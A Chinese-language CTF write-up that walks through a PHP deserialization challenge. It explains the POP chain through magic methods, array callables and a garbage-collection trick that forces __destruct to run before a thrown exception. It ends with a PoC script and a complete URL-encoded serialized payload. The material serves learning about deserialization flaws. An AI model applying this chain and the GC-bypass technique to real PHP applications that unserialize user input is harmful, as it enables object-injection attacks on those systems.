考点:
__destruct函数的GC回收机制、php反序列化的一些冷门知识点
源码:
<?php class one { public $object; public function MeMeMe() { array_walk($this, function($fn, $prev){ if ($fn[0] === "Happy_func" && $prev === "year_parm") { global $talk; echo "$talk"."</br>"; global $flag; echo $flag; } }); } public function __destruct() { @$this->object->add(); } public function __toString() { return $this->object->string; } } class second { protected $filename; protected function addMe() { return "Wow you have sovled".$this->filename; } public function __call($func, $args) { call_user_func([$this, $func."Me"], $args); } } class third { private $string; public function __construct($string) { //$string要删掉 $this->string = $string; } public function __get($name) { $var = $this->$name; $var[$name](); } } if (isset($_GET["ctfshow"])) { $a=unserialize($_GET['ctfshow']); throw new Exception("高一新生报道"); } else { highlight_file(__FILE__); }
分析代码:
array_walk():
array_walk($elements, function ($value, $key)
array_walk(this, function(fn, prev)第一个参数是选择一个数组,第二个参数放一个函数,函数内的两个参数对选择的那个数组进行分别进行值、键匹配。但是,题目给的是一个this什么意思呢,就是遍历一个类,也就是说原本应该是匹配键(key)的那个参数,现在会把一个变量名当键匹配,而值(value)就是变量的值。
这个时候我们把值修改为数组,就可以让fn变为数组,最后匹配fn[0]的时候通过就可以了。
public $year_parm=array(0=>“Happy_func”);
fn[0] = “Happy_func” && prev = “year_parm”
<?php highlight_file(__FILE__); class one { public $year_parm=array(0=>"Happy_func"); public function MeMeMe() { array_walk($this, function($fn, $prev){ echo $fn[0]."\\\///".$prev; }); } } $a=new one(); $a->MeMeMe(); //输出Happy_func\\///year_parm
call_user_func():
这里只讲和本题相关的,详细信息参考链接:
(1条消息) PHP函数详解:call_user_func()使用方法_php call_user_func_完美世界的一天的博客-CSDN博客
调用类内部的方法比较奇怪,居然用的是array:
<?php class a { function b($c) { echo $c; } } call_user_func(array("a", "b"),"111"); //显示 111 ?>
所以,题目中**call_user_func([¥this, ¥func.“Me”], ¥args);**如果使func=add,自动拼接一个Me,就是调用本类中的addMe方法了,参数是args。
¥var【¥name】();
由public function __toString() { return $this->object->string; } 转入
变量var的值为this−>name,也就是this->string,然后调用一个方法,其中name的值不可控,但是var的值可以通过修改string的属性来控制,可以利用 数组调用类中方法
举个例子:
<?php error_reporting(0); class one{ public function test() { echo "123"; } } $a=array(one,test); $a(); //会输出123
再举个例子:
<?php error_reporting(0); class one{ public function test() { echo "123"; } } $a=array("jay"=>[one,test]); $a["jay"](); //会输出123
那么,如果我使$var[$name]=array(one,MeMeMe)或者[one,MeMeMe],那么我就能从third::__get()到one::MeMeMe()
那么我们开始构造,先具体说说__get()魔术方法:读取不可访问属性的值时,get() 会被调用。
<?php class User{ public $var1; public function __get($arg1) { echo $arg1; } } $test = new User(); $test->woshiyigezifuchuan; ?>
User类里面是没有woshiyigezifuchuan这个属性或者方法的,所以会调用User类里面的__get魔术方法,$arg1是什么呢?
我们看代码调试:
可以看到,get魔术方法里面$arg1属性的值就是那不存在/不可访问的东西,而且,类型是字符串!!!!!
我们回归题目:get()魔术方法里面的属性$name=“string”
跟进代码,¥var = ¥this->¥name;
注意name前面有符号¥,所以这里var的赋值不是类属性name(¥this->name),而是¥this->get()魔术方法里面的属性name。
已知$name=“string”,所以代码**¥var = ¥this->¥name;就是¥var = ¥this->string;**所以¥var的值就是类属性string的值。
我们用构造方法给类属性string赋值。
public function __construct() { $this->string=array("string"=>[new one(),"MeMeMe"]); }
那么¥var=array(“string”=>[new one(),“MeMeMe”])
¥var【¥name】() = array(“string”=>[new one(),“MeMeMe”])这个数组里下标string的值,就是[new one(),“MeMeMe”]
¥var【¥name】() = [new one(),“MeMeMe”],成功使用数组调用类中方法。
throw new Exception(“高一新生报道”):
抛出一个异常,然后让程序异常退出,这个时候就是未正常退出的情况,所以不会调用__destruct方法。
有throw new Exception();就知道要利用GC回收机制
GC回收机制
参考博客:(1条消息) 浅谈PHP中GC回收机制的利用_errorr0的博客-CSDN博客
**__destruct()**无论如何都会被触发,但是前提是必须得完成程序的开始与结束,但是如果程序走了一半,突然报错,那么__destruct()不会触发了,那如果又必须要__destruct()触发又得怎么搞呢?
这里就要用到GC回收。如果没有任何东西指向一个对象,那个对象就会被当作垃圾回收。
看一段代码:
<?php class jay{ public $num; public function __construct($num) { $this->num = $num; echo $this->num."__construct\n"; } public function __destruct(){ echo $this->num."__destruct()\n"; } } new jay(1); $a = new jay(2); $b = new jay(3); ?>
运行结果:
可以看到没有任何东西指向或者引用new jay(1);,所以他刚刚创建就被当垃圾回收了。
后面的两个对象则是先创建完,没有操作了以后才结束的。
如果把**new jay(1);改成$c=new jay(1);**那么运行结果就会变成:
1__construct 2__construct 3__construct 3__destruct() 2__destruct() 1__destruct()
到这里大家对GC有了初步了解,那么这道题怎么用GC使得__destruct()能执行呢?
本题GC应用
引用一下Pysnow大佬的博客。
这里$a由于上述throw方法,不会调用__destruct方法。
然后我们把null赋值重新加上,即把$a赋值为空,导致了Demo对象提前结束生命周期而因为GC销毁,发现成功执行了__destruct函数。
所以,本题在throw方法之前,把实例对象赋值为null就行了。
解决完所有知识点,剩下的就是构造pop了。
链子:
one::__destruct() =>second::__call() =>second::addMe() =>one::__toString() =>third::__get() =>one::MeMeMe()
就是这里存在反复调用的问题,也就是one对象到second对象,然后有条回来,这样可能不能反复赋值,因为这样的话就进入死循环了,所以我们可以实例化两个one对象进入
poc:
<?php class one { public $object; public $year_parm=array(0=>"Happy_func"); } class second { public $filename; //php7.1以上则对于类属性不敏感,把protected直接改为public。 } class third { private $string; public function __construct() { $this->string=array("string"=>[new one(),"MeMeMe"]); } } //实现one:destruct()->second:call() $a=new one(); $c=new second(); $a->object=$c; //实现second:addMe()->one:toString() $b=new one(); $c->filename=$b; //实现third:get()->one:MeMeMe(); $d=new third(); $b->object=$d; //触发GC回收机制 $n=null; $payload=array($a,$n); $jay17=serialize($payload); /* a:2:{i:0;O:3:"one":2:{s:6:"object";O:6:"second":1:{s:8:"filename";O:3:"one":2:{s:6:"object";O:5:"third":1:{s:13:" third string";a:1:{s:6:"string";a:2:{i:0;O:3:"one":2:{s:6:"object";N;s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}}i:1;s:6:"MeMeMe";}}}s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}}}s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}}i:1;N;} */ //把最后的 i:1换成i:0,提前销毁,手动不能用函数,有多个i:1。 echo urlencode($jay17);
payload:
a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BN%3Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A0%3BN%3B%7D